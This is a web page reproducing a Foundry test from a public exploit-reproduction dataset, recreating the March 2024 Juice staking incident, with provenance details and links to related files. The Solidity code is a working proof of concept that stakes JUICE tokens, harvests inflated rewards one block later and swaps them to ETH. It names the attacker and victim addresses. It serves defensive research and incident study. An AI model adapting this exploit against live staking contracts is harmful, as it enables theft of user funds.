Public reproduction file

src/test/2024-03/Juice_exp.sol

Public reproduction file for dataset entry Juice.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-03/Juice_exp.sol75 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~54 ETH
8// Attacker : https://etherscan.io/address/0x3fA19214705BC82cE4b898205157472A79D026BE
9// Attack Contract : https://etherscan.io/address/0xa8b45dEE8306b520465f1f8da7E11CD8cFD1bBc4
10// Vulnerable Contract : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e
11// Attack Tx : https://etherscan.io/tx/0xc9b2cbc1437bbcd8c328b6d7cdbdae33d7d2a9ef07eca18b4922aac0430991e7
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e#code
15 
16interface IStake {
17    function harvest(
18        uint256
19    ) external;
20    function stake(uint256, uint256) external;
21}
22 
23contract Juice is Test {
24    uint256 blocknumToForkFrom = 19_395_636;
25    IERC20 JUICE = IERC20(0xdE5d2530A877871F6f0fc240b9fCE117246DaDae);
26    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
27    IStake JuiceStaking = IStake(0x8584DdbD1E28bCA4bc6Fb96baFe39f850301940e);
28 
29    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
30 
31    function setUp() public {
32        vm.createSelectFork("mainnet", blocknumToForkFrom);
33    }
34 
35    function testExploit() public {
36        emit log_named_decimal_uint("[Start] Attacker ETH balance before exploit", address(this).balance, 18);
37 
38        //stake 0.5 ETH
39        ETHtoJUICE(0.5 ether);
40        JUICE.approve(address(JuiceStaking), type(uint256).max);
41        JuiceStaking.stake(JUICE.balanceOf(address(this)), 3_000_000_000);
42 
43        // harvest JUICE token a block later
44        vm.roll(block.number + 1);
45        vm.warp(block.timestamp + 12);
46        JuiceStaking.harvest(0);
47        JUICE.approve(address(Router), type(uint256).max);
48        JUICEtoETH();
49 
50        // Log balances after exploit
51        emit log_named_decimal_uint("[End] Attacker ETH Balance After exploit", address(this).balance, 18);
52    }
53 
54    function ETHtoJUICE(
55        uint256 amount
56    ) internal {
57        address[] memory path = new address[](2);
58        path[0] = address(WETH);
59        path[1] = address(JUICE);
60        Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
61            0, path, address(this), block.timestamp + 60
62        );
63    }
64 
65    function JUICEtoETH() internal {
66        address[] memory path = new address[](2);
67        path[0] = address(JUICE);
68        path[1] = address(WETH);
69        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
70            JUICE.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60
71        );
72    }
73 
74    fallback() external payable {}
75}

Analysis

Dataset entry

Public Foundry test for “Juice” (2024-03-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

19 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/interface.solImported by this file · 6133 lines
src/test/2024-03/ALP_exp.solSame month in the dataset · 84 lines
src/test/2024-03/ARK_exp.solSame month in the dataset · 52 lines
src/test/2024-03/BBT_exp.solSame month in the dataset · 140 lines
src/test/2024-03/Binemon_exp.solSame month in the dataset · 80 lines
src/test/2024-03/CGT_exp.solSame month in the dataset · 272 lines
src/test/2024-03/ETHFIN_exp.solSame month in the dataset · 126 lines
src/test/2024-03/GHT_exp.solSame month in the dataset · 62 lines
src/test/2024-03/IT_exp.solSame month in the dataset · 139 lines
src/test/2024-03/LavaLending_exp.solSame month in the dataset · 347 lines
src/test/2024-03/MO_exp.solSame month in the dataset · 94 lines
src/test/2024-03/Paraswap_exp.solSame month in the dataset · 75 lines
src/test/2024-03/Prisma_exp.solSame month in the dataset · 216 lines
src/test/2024-03/SSS_exp.solSame month in the dataset · 90 lines
src/test/2024-03/TGBS_exp.solSame month in the dataset · 90 lines
src/test/2024-03/UnizenIO_exp.solSame month in the dataset · 43 lines
src/test/2024-03/Woofi_exp.solSame month in the dataset · 185 lines
src/test/2024-03/ZongZi_exp.solSame month in the dataset · 116 lines
src/test/2026-04/JuiceboxREVLoans_exp.solSame protocol or name in the dataset · 231 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0x3fa19214705bc82ce4b898205157472a79d026be
Attack Contract
0xa8b45dee8306b520465f1f8da7e11cd8cfd1bbc4
Vulnerable Contract
0x8584ddbd1e28bca4bc6fb96bafe39f850301940e

Attack Tx
0xc9b2cbc1437bbcd8c328b6d7cdbdae33d7d2a9ef07eca18b4922aac0430991e7

File record

Name: Juice
Path: src/test/2024-03/Juice_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 04b10f4b83428755b300248e5f29486b23a80e6d
Language: Solidity
Size: 76 lines
Date: 2024-03-09
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-03/Juice_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 04b10f4b83428755b300248e5f29486b23a80e6d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.